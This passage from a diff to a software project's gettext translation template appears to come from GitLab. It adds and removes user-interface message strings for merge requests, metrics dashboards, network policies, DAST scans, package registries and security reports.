-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
